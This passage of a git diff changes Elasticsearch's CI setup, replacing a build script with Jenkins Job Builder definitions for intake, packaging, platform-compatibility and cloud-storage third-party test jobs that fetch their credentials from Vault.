diff --git a/.ci/build.sh b/.ci/build.sh deleted file mode 100755 index 091f9582e0660..0000000000000 --- a/.ci/build.sh +++ /dev/null @@ -1,32 +0,0 @@ -#!/bin/bash - -# drop page cache and kernel slab objects on linux -[[ -x /usr/local/sbin/drop-caches ]] && sudo /usr/local/sbin/drop-caches - -rm -Rfv ~/.gradle/init.d/init.gradle -mkdir -p ~/.gradle/init.d && cp -v $WORKSPACE/.ci/init.gradle ~/.gradle/init.d - -if [ -f /proc/cpuinfo ] ; then - MAX_WORKERS=`grep '^cpu\scores' /proc/cpuinfo | uniq | sed 's/\s\+//g' | cut -d':' -f 2` -else - if [[ "$OSTYPE" == "darwin"* ]]; then - # Parallel is disabled at this time (eventually set to 1) due to errors on the Mac workers - # We'll have to do more testing to see if this can be re-enabled or what the proper value is. - # MAX_WORKERS=`sysctl -n hw.physicalcpu | sed 's/\s\+//g'` - MAX_WORKERS=2 - else - echo "Unsupported OS Type: $OSTYPE" - exit 1 - fi -fi - -if pwd | grep -v -q ^/dev/shm ; then - echo "Not running on a ramdisk, reducing number of workers" - MAX_WORKERS=$(($MAX_WORKERS*2/3)) -fi - -set -e -./gradlew --parallel --scan \ - -Dorg.elasticsearch.build.cache.url=https://gradle-enterprise.elastic.co/cache/ \ - --parallel --max-workers=$MAX_WORKERS \ - "$@" diff --git a/.ci/bwcVersions b/.ci/bwcVersions index f49c31f7813bf..b9492c2b293c1 100644 --- a/.ci/bwcVersions +++ b/.ci/bwcVersions @@ -32,5 +32,8 @@ BWC_VERSION: - "7.11.1" - "7.11.2" - "7.12.0" + - "7.12.1" - "7.13.0" + - "7.13.1" + - "7.14.0" - "8.0.0" diff --git a/.ci/java-versions-aarch64.properties b/.ci/java-versions-aarch64.properties index d9e47c498f8ad..d10471de01ea5 100644 --- a/.ci/java-versions-aarch64.properties +++ b/.ci/java-versions-aarch64.properties @@ -4,6 +4,5 @@ # build and test Elasticsearch for this branch. Valid Java versions # are 'java' or 'openjdk' followed by the major release number. -ES_BUILD_JAVA=adoptopenjdk15 -ES_RUNTIME_JAVA=adoptopenjdk11 -GRADLE_TASK=build +ES_BUILD_JAVA=jdk15 +ES_RUNTIME_JAVA=jdk15 diff --git a/.ci/java-versions.properties b/.ci/java-versions.properties index baea8e80050ec..d2f59b82fcca0 100644 --- a/.ci/java-versions.properties +++ b/.ci/java-versions.properties @@ -6,4 +6,3 @@ ES_BUILD_JAVA=openjdk15 ES_RUNTIME_JAVA=openjdk11 -GRADLE_TASK=build diff --git a/.ci/jobs.t/defaults.yml b/.ci/jobs.t/defaults.yml new file mode 100644 index 0000000000000..e1a327249f2f7 --- /dev/null +++ b/.ci/jobs.t/defaults.yml @@ -0,0 +1,89 @@ +--- + +##### GLOBAL METADATA + +- meta: + cluster: elasticsearch-ci + +##### JOB DEFAULTS + +- job: + vault: + url: https://secrets.elastic.co:8200 + role_id: 1ba1ac3e-aee4-d040-d9a3-6ae23bd2b3db + node: "general-purpose" + concurrent: true + logrotate: + daysToKeep: 30 + numToKeep: 90 + artifactDaysToKeep: 7 + parameters: + - string: + name: branch_specifier + default: "refs/heads/%BRANCH%" + description: "the Git branch specifier to build (<branchName>, <tagName>, <commitId>, etc.)\n" + scm: + - git: + name: origin + # master node jenkins user ~/.ssh + credentials-id: f6c7695a-671e-4f4f-a331-acdce44ff9ba + reference-repo: "/var/lib/jenkins/.git-references/elasticsearch.git" + branches: + - "${branch_specifier}" + url: "https://github.com/elastic/elasticsearch.git" + basedir: "" + wipe-workspace: true + triggers: [] + wrappers: + - timeout: + type: absolute + timeout: 480 + fail: true + - ansicolor + - timestamps + - gradle-build-scan + - inject-passwords: + global: false + job-passwords: + - name: VAULT_ADDR + password: https://secrets.elastic.co:8200 + mask-password-params: true + properties: + - github: + url: https://github.com/elastic/elasticsearch/ + - inject: + properties-content: | + JOB_BRANCH=%BRANCH% + HOME=$JENKINS_HOME + GRADLEW=./gradlew --parallel --scan --build-cache -Dorg.elasticsearch.build.cache.url=https://gradle-enterprise.elastic.co/cache/ + GRADLEW_BAT=./gradlew.bat --parallel --scan --build-cache -Dorg.elasticsearch.build.cache.url=https://gradle-enterprise.elastic.co/cache/ + publishers: + - junit: + results: "**/*Junit/*.xml, **/test-results/*/*.xml" + keep-long-stdio: true + allow-empty-results: true + # Upload additional logs + - google-cloud-storage: + credentials-id: 'elasticsearch-ci-gcs-plugin' + uploads: + - classic: + file-pattern: 'build/*.tar.bz2' + storage-location: 'gs://elasticsearch-ci-artifacts/jobs/$JOB_NAME' + share-publicly: false + upload-for-failed-jobs: true + show-inline: true + # Notify homer + - postbuildscript: + builders: + - role: SLAVE + build-on: + - SUCCESS + - FAILURE + - UNSTABLE + build-steps: + - http-request: + url: https://homer.app.elstc.co/webhook/jenkins/build-finished + mode: GET + custom-headers: + - name: X-Jenkins-Build + value: ${BUILD_URL} diff --git a/.ci/jobs.t/elastic+elasticsearch+branch-consistency.yml b/.ci/jobs.t/elastic+elasticsearch+branch-consistency.yml new file mode 100644 index 0000000000000..4c7cbe414d30d --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+branch-consistency.yml @@ -0,0 +1,15 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+branch-consistency + display-name: "elastic / elasticsearch # %BRANCH% - branch consistency" + description: Testing of the Elasticsearch master branch version consistency. + triggers: + - timed: "H 7 * * *" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh branchConsistency diff --git a/.ci/jobs.t/elastic+elasticsearch+branch-protection.yml b/.ci/jobs.t/elastic+elasticsearch+branch-protection.yml new file mode 100644 index 0000000000000..30e4c1c20dd43 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+branch-protection.yml @@ -0,0 +1,20 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+branch-protection + display-name: "elastic / elasticsearch # %BRANCH% - branch protection" + description: Elasticsearch %BRANCH% branch protection. + node: master + triggers: + - timed: "H 7 * * *" + scm: [] + parameters: [] + builders: + - shell: | + #!/bin/bash + set +x + STATUS=$(curl -s https://api.github.com/repos/elastic/elasticsearch/branches/%BRANCH% | jq '.protected') + echo "Branch %BRANCH% protection status is: $STATUS" + if [[ "$STATUS" == "false" ]]; then + echo "Development branch %BRANCH% is not set as protected in GitHub but should be." + exit 1 + fi diff --git a/.ci/jobs.t/elastic+elasticsearch+folder+pull-request.yml b/.ci/jobs.t/elastic+elasticsearch+folder+pull-request.yml new file mode 100644 index 0000000000000..cef72323297a0 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+folder+pull-request.yml @@ -0,0 +1,4 @@ +- job: + name: elastic+elasticsearch+%BRANCH%+pull-request + display-name: Pull Requests + project-type: folder diff --git a/.ci/jobs.t/elastic+elasticsearch+folder+triggers.yml b/.ci/jobs.t/elastic+elasticsearch+folder+triggers.yml new file mode 100644 index 0000000000000..17febc7648cb1 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+folder+triggers.yml @@ -0,0 +1,4 @@ +- job: + name: elastic+elasticsearch+%BRANCH%+triggers + display-name: Periodic Triggers + project-type: folder diff --git a/.ci/jobs.t/elastic+elasticsearch+intake+multijob+bwc.yml b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+bwc.yml new file mode 100644 index 0000000000000..ab5f17d60b933 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+bwc.yml @@ -0,0 +1,7 @@ +--- +jjbb-template: generic-gradle-unix.yml +vars: + - job-name: elastic+elasticsearch+%BRANCH%+intake+multijob+bwc + - job-display-name: "elastic / elasticsearch # %BRANCH% - intake bwc" + - job-description: Elasticsearch %BRANCH% branch intake backwards compatibility checks. + - gradle-args: "-Dbwc.checkout.align=true -Dorg.elasticsearch.build.cache.push=true -Dignore.tests.seed -Dscan.capture-task-input-files bwcTestSnapshots" diff --git a/.ci/jobs.t/elastic+elasticsearch+intake+multijob+part1.yml b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+part1.yml new file mode 100644 index 0000000000000..e8a52d7953063 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+part1.yml @@ -0,0 +1,7 @@ +--- +jjbb-template: generic-gradle-unix.yml +vars: + - job-name: elastic+elasticsearch+%BRANCH%+intake+multijob+part1 + - job-display-name: "elastic / elasticsearch # %BRANCH% - intake part 1" + - job-description: Elasticsearch %BRANCH% branch intake check part 1. + - gradle-args: "-Dbwc.checkout.align=true -Dorg.elasticsearch.build.cache.push=true -Dignore.tests.seed -Dscan.capture-task-input-files checkPart1" diff --git a/.ci/jobs.t/elastic+elasticsearch+intake+multijob+part2.yml b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+part2.yml new file mode 100644 index 0000000000000..15cb91eea5724 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+part2.yml @@ -0,0 +1,7 @@ +--- +jjbb-template: generic-gradle-unix.yml +vars: + - job-name: elastic+elasticsearch+%BRANCH%+intake+multijob+part2 + - job-display-name: "elastic / elasticsearch # %BRANCH% - intake part 2" + - job-description: Elasticsearch %BRANCH% branch intake check part 2. + - gradle-args: "-Dbwc.checkout.align=true -Dorg.elasticsearch.build.cache.push=true -Dignore.tests.seed -Dscan.capture-task-input-files checkPart2" diff --git a/.ci/jobs.t/elastic+elasticsearch+intake+multijob+rest-compat.yml b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+rest-compat.yml new file mode 100644 index 0000000000000..eea1cfecdb126 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+rest-compat.yml @@ -0,0 +1,7 @@ +--- +jjbb-template: generic-gradle-unix.yml +vars: + - job-name: elastic+elasticsearch+%BRANCH%+intake+multijob+rest-compat + - job-display-name: "elastic / elasticsearch # %BRANCH% - intake rest compatibility" + - job-description: Elasticsearch %BRANCH% branch intake REST compatibility checks. + - gradle-args: "-Dbwc.checkout.align=true -Dorg.elasticsearch.build.cache.push=true -Dignore.tests.seed -Dscan.capture-task-input-files checkRestCompat" diff --git a/.ci/jobs.t/elastic+elasticsearch+intake+multijob+sanity-check.yml b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+sanity-check.yml new file mode 100644 index 0000000000000..047eca2cf5a4d --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+sanity-check.yml @@ -0,0 +1,7 @@ +--- +jjbb-template: generic-gradle-unix.yml +vars: + - job-name: elastic+elasticsearch+%BRANCH%+intake+multijob+sanity-check + - job-display-name: "elastic / elasticsearch # %BRANCH% - intake sanity check" + - job-description: Elasticsearch %BRANCH% branch intake sanity check. + - gradle-args: "-Dbwc.checkout.align=true -Dorg.elasticsearch.build.cache.push=true -Dignore.tests.seed -Dscan.capture-task-input-files precommit" diff --git a/.ci/jobs.t/elastic+elasticsearch+intake+multijob+update-last-good-commit.yml b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+update-last-good-commit.yml new file mode 100644 index 0000000000000..2a1d462d9ac89 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+intake+multijob+update-last-good-commit.yml @@ -0,0 +1,11 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+intake+multijob+update-last-good-commit + display-name: "elastic / elasticsearch # %BRANCH% - update last good commit" + description: Elasticsearch %BRANCH% branch update last good commit in build-stats. + node: light + properties: [] + builders: + - shell: | + #!/usr/local/bin/runbld --job-name elastic+elasticsearch+%BRANCH%+git+push + /usr/bin/true diff --git a/.ci/jobs.t/elastic+elasticsearch+intake.yml b/.ci/jobs.t/elastic+elasticsearch+intake.yml new file mode 100644 index 0000000000000..6da6161c56763 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+intake.yml @@ -0,0 +1,59 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+intake + display-name: "elastic / elasticsearch # %BRANCH% - intake" + description: "Testing of the Elasticsearch %BRANCH% branch on every push.\n" + project-type: multijob + node: master + vault: [] + triggers: + # We use this trigger instead of the provided "github" webhook trigger because it's more robust. + # Here we only trigger builds for pushes to the corresponding branch, rather than a push to any branch of the + # configured git repository. This avoids duplicate builds being triggered when pushes to multiple branches are + # done in quick succession. + - generic-webhook-trigger: + post-content-params: + - type: JSONPath + key: ref + value: '$.ref' + regex-filter-text: '$ref' + regex-filter-expression: "^refs/heads/%BRANCH%$" + cause: Push to GitHub (refs/heads/%BRANCH%) + silent-response: true + scm: + - git: + wipe-workspace: false + builders: + - multijob: + name: Sanity Check + projects: + - name: elastic+elasticsearch+%BRANCH%+intake+multijob+sanity-check + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - multijob: + name: Verification + projects: + - name: elastic+elasticsearch+%BRANCH%+intake+multijob+part1 + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+intake+multijob+part2 + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+intake+multijob+bwc + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+intake+multijob+rest-compat + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - multijob: + name: Update last good commit + projects: + - name: elastic+elasticsearch+%BRANCH%+intake+multijob+update-last-good-commit + kill-phase-on: NEVER + current-parameters: true + git-revision: true diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+packaging-tests-unix.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+packaging-tests-unix.yml new file mode 100644 index 0000000000000..8d8fd7f6c607f --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+packaging-tests-unix.yml @@ -0,0 +1,36 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+packaging-tests-unix + display-name: "elastic / elasticsearch # %BRANCH% - unix packaging tests" + description: "Testing of the Elasticsearch %BRANCH% branch unix packaging test support matrix.\n" + project-type: matrix + node: master + scm: + - git: + wipe-workspace: false + axes: + - axis: + type: label-expression + name: os + values: + - centos-7-packaging + - centos-8-packaging + - debian-9-packaging + - debian-10-packaging + - fedora-32-packaging + - opensuse-15-1-packaging + - oraclelinux-7-packaging + - oraclelinux-8-packaging + - sles-12-packaging + - sles-15-packaging + - ubuntu-18.04-packaging + - ubuntu-20.04-packaging + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + ./.ci/os.sh --build-cache -Dorg.elasticsearch.build.cache.url=https://gradle-enterprise.elastic.co/cache/ destructivePackagingTest diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+packaging-tests-upgrade.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+packaging-tests-upgrade.yml new file mode 100644 index 0000000000000..3a6bfc9b62a2a --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+packaging-tests-upgrade.yml @@ -0,0 +1,31 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+packaging-tests-upgrade + display-name: "elastic / elasticsearch # %BRANCH% - packaging upgrade tests" + description: "Testing of the Elasticsearch %BRANCH% branch packaging test upgrade support matrix.\n" + project-type: matrix + node: master + scm: + - git: + wipe-workspace: false + axes: + - axis: + type: label-expression + name: os + values: + - centos-8-packaging + - ubuntu-20.04-packaging + - axis: + type: yaml + filename: ".ci/bwcVersions" + name: BWC_VERSION + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + JAVA15_HOME=$HOME/.java/openjdk15 + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + ./.ci/os.sh --build-cache -Dorg.elasticsearch.build.cache.url=https://gradle-enterprise.elastic.co/cache/ destructiveDistroUpgradeTest.v$BWC_VERSION diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+packaging-tests-windows.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+packaging-tests-windows.yml new file mode 100644 index 0000000000000..35ea30685bbad --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+packaging-tests-windows.yml @@ -0,0 +1,31 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+packaging-tests-windows + display-name: "elastic / elasticsearch # %BRANCH% - windows packaging tests" + description: "Testing of the Elasticsearch %BRANCH% branch windows packaging test support matrix.\n" + project-type: matrix + node: master + scm: + - git: + wipe-workspace: false + axes: + - axis: + type: label-expression + name: os + values: + - "windows-2012-r2" + - "windows-2016" + - "windows-2019" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$USERPROFILE\\.java\\$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$USERPROFILE\\.java\\$ES_RUNTIME_JAVA + - batch: | + del /f /s /q %USERPROFILE%\.gradle\init.d\*.* + mkdir %USERPROFILE%\.gradle\init.d + copy .ci\init.gradle %USERPROFILE%\.gradle\init.d\ + ( + echo powershell.exe .\.ci\os.ps1 ^|^| exit /b 1 + ) | java -jar "C:\Program Files\infra\bin\runbld" --redirect-stderr - diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-arm.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-arm.yml new file mode 100644 index 0000000000000..2051e7bc0b732 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-arm.yml @@ -0,0 +1,27 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+platform-support-arm + display-name: "elastic / elasticsearch # %BRANCH% - arm compatibility" + description: "Elasticsearch %BRANCH% ARM (aarch64) compatibility testing.\n" + project-type: matrix + node: master + scm: + - git: + wipe-workspace: false + axes: + - axis: + type: label-expression + name: os + values: + - "centos-8-aarch64&&immutable" + - "ubuntu-1804-aarch64&&immutable" + builders: + - inject: + properties-file: '.ci/java-versions-aarch64.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + JAVA15_HOME=$HOME/.java/jdk15 + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh -Dbwc.checkout.align=true check diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-darwin.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-darwin.yml new file mode 100644 index 0000000000000..b25a245f8f4df --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-darwin.yml @@ -0,0 +1,16 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+platform-support-darwin + display-name: "elastic / elasticsearch # %BRANCH% - darwin compatibility" + description: "Elasticsearch %BRANCH% MacOS compatibility testing.\n" + node: "macosx && x86_64" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + JAVA15_HOME=$HOME/.java/openjdk15 + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh -Dbwc.checkout.align=true check diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-unix.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-unix.yml new file mode 100644 index 0000000000000..ee797e25f3806 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-unix.yml @@ -0,0 +1,37 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+platform-support-unix + display-name: "elastic / elasticsearch # %BRANCH% - unix compatibility" + description: "Elasticsearch %BRANCH% unix compatibility testing.\n" + project-type: matrix + node: master + scm: + - git: + wipe-workspace: false + axes: + - axis: + type: label-expression + name: os + values: + - "centos-7&&immutable" + - "centos-8&&immutable" + - "debian-9&&immutable" + - "debian-10&&immutable" + - "fedora-32&&immutable" + - "opensuse-15-1&&immutable" + - "oraclelinux-7&&immutable" + - "oraclelinux-8&&immutable" + - "sles-12&&immutable" + - "sles-15&&immutable" + - "ubuntu-18.04&&immutable" + - "ubuntu-20.04&&immutable" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + JAVA15_HOME=$HOME/.java/openjdk15 + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh -Dbwc.checkout.align=true check diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-windows.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-windows.yml new file mode 100644 index 0000000000000..03221cbe43c98 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+platform-support-windows.yml @@ -0,0 +1,43 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+platform-support-windows + display-name: "elastic / elasticsearch # %BRANCH% - windows compatibility" + description: "Elasticsearch %BRANCH% Windows compatibility testing.\n" + project-type: matrix + node: master + # Use a hard-coded workspace directory to avoid hitting file path limits with auto-generated workspace path + child-workspace: "C:\\Users\\jenkins\\workspace\\platform-support\\${BUILD_NUMBER}" + scm: + - git: + wipe-workspace: false + axes: + - axis: + type: label-expression + name: os + values: + - "windows-2012-r2" + - "windows-2016" + - "windows-2019" + # We shred out Windows testing into 4 parallel builds like on intake for expediency. + # Our tests run much slower on Windows so this avoids issues with builds timing out. + - axis: + type: user-defined + name: GRADLE_TASK + values: + - 'checkPart1' + - 'checkPart2' + - 'bwcTestSnapshots' + - 'checkRestCompat' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$USERPROFILE\\.java\\$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$USERPROFILE\\.java\\$ES_RUNTIME_JAVA + - batch: | + del /f /s /q %USERPROFILE%\.gradle\init.d\*.* + mkdir %USERPROFILE%\.gradle\init.d + copy .ci\init.gradle %USERPROFILE%\.gradle\init.d\ + ( + echo call %GRADLEW_BAT% --max-workers=4 -Dbwc.checkout.align=true %GRADLE_TASK% ^|^| exit /b 1 + ) | java -jar "C:\Program Files\infra\bin\runbld" --redirect-stderr - diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-azure-sas.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-azure-sas.yml new file mode 100644 index 0000000000000..4c6bd42b3ced8 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-azure-sas.yml @@ -0,0 +1,27 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-azure-sas + workspace: /dev/shm/elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-azure-sas + display-name: "elastic / elasticsearch # %BRANCH% - third party tests azure - sas token" + description: "Testing of the Elasticsearch %BRANCH% third party tests against Azure using SAS token\n" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + azure_storage_container=elasticsearch-ci-thirdparty-sas + azure_storage_base_path=%BRANCH% + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + set -euo pipefail + set +x + VAULT_TOKEN=$(vault write -field=token auth/approle/login role_id=$VAULT_ROLE_ID secret_id=$VAULT_SECRET_ID) + export VAULT_TOKEN + export data=$(vault read -format=json secret/elasticsearch-ci/azure_thirdparty_sas_test_creds) + export azure_storage_account=$(echo $data | jq -r .data.account_id) + export azure_storage_sas_token=$(echo $data | jq -r .data.account_sas_token) + unset VAULT_TOKEN data + set -x + + $WORKSPACE/.ci/scripts/run-gradle.sh azureThirdPartyTest diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-azure.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-azure.yml new file mode 100644 index 0000000000000..75b634c8e2226 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-azure.yml @@ -0,0 +1,27 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-azure + workspace: /dev/shm/elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-azure + display-name: "elastic / elasticsearch # %BRANCH% - third party tests azure" + description: "Testing of the Elasticsearch %BRANCH% third party tests against Azure\n" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + azure_storage_container=elasticsearch-ci-thirdparty + azure_storage_base_path=%BRANCH% + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + set -euo pipefail + set +x + VAULT_TOKEN=$(vault write -field=token auth/approle/login role_id=$VAULT_ROLE_ID secret_id=$VAULT_SECRET_ID) + export VAULT_TOKEN + export data=$(vault read -format=json secret/elasticsearch-ci/azure_thirdparty_test_creds) + export azure_storage_account=$(echo $data | jq -r .data.account_id) + export azure_storage_key=$(echo $data | jq -r .data.account_key) + unset VAULT_TOKEN data + set -x + + $WORKSPACE/.ci/scripts/run-gradle.sh azureThirdPartyTest diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-gcs.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-gcs.yml new file mode 100644 index 0000000000000..1f1920e484601 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-gcs.yml @@ -0,0 +1,27 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-gcs + workspace: /dev/shm/elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-gcs + display-name: "elastic / elasticsearch # %BRANCH% - third party tests gcs" + description: "Testing of the Elasticsearch %BRANCH% third party tests against GCS\n" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + google_storage_bucket=elasticsearch-ci-thirdparty + google_storage_base_path=%BRANCH% + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + set -euo pipefail + export google_storage_service_account=$(pwd)/gcs_service_account.json + + set +x + VAULT_TOKEN=$(vault write -field=token auth/approle/login role_id=$VAULT_ROLE_ID secret_id=$VAULT_SECRET_ID) + export VAULT_TOKEN + vault read -field=private_key_data gcp-elastic-ci-prod/key/elasticsearch-ci-thirdparty-gcs | base64 --decode > $google_storage_service_account + unset VAULT_TOKEN + set -x + + $WORKSPACE/.ci/scripts/run-gradle.sh gcsThirdPartyTest diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-geoip.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-geoip.yml new file mode 100644 index 0000000000000..b39fc28c41b86 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-geoip.yml @@ -0,0 +1,16 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-geoip + workspace: /dev/shm/elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-geoip + display-name: "elastic / elasticsearch # %BRANCH% - third party tests geoip" + description: "Testing of the Elasticsearch %BRANCH% third party tests against GeoIP database service\n" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + geoip_use_service=true + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh :modules:ingest-geoip:internalClusterTest diff --git a/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-s3.yml b/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-s3.yml new file mode 100644 index 0000000000000..2dc45133c0ef1 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+multijob+third-party-tests-s3.yml @@ -0,0 +1,28 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-s3 + workspace: /dev/shm/elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-s3 + display-name: "elastic / elasticsearch # %BRANCH% - third party tests s3" + description: "Testing of the Elasticsearch %BRANCH% third party tests against S3\n" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + amazon_s3_bucket=elasticsearch-ci.us-west-2 + amazon_s3_base_path=%BRANCH% + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + set -euo pipefail + + set +x + VAULT_TOKEN=$(vault write -field=token auth/approle/login role_id=$VAULT_ROLE_ID secret_id=$VAULT_SECRET_ID) + export VAULT_TOKEN + export data=$(vault read -format=json aws-test/creds/elasticsearch-ci-s3) + export amazon_s3_access_key=$(echo $data | jq -r .data.access_key) + export amazon_s3_secret_key=$(echo $data | jq -r .data.secret_key) + unset VAULT_TOKEN data + set -x + + $WORKSPACE/.ci/scripts/run-gradle.sh s3ThirdPartyTest diff --git 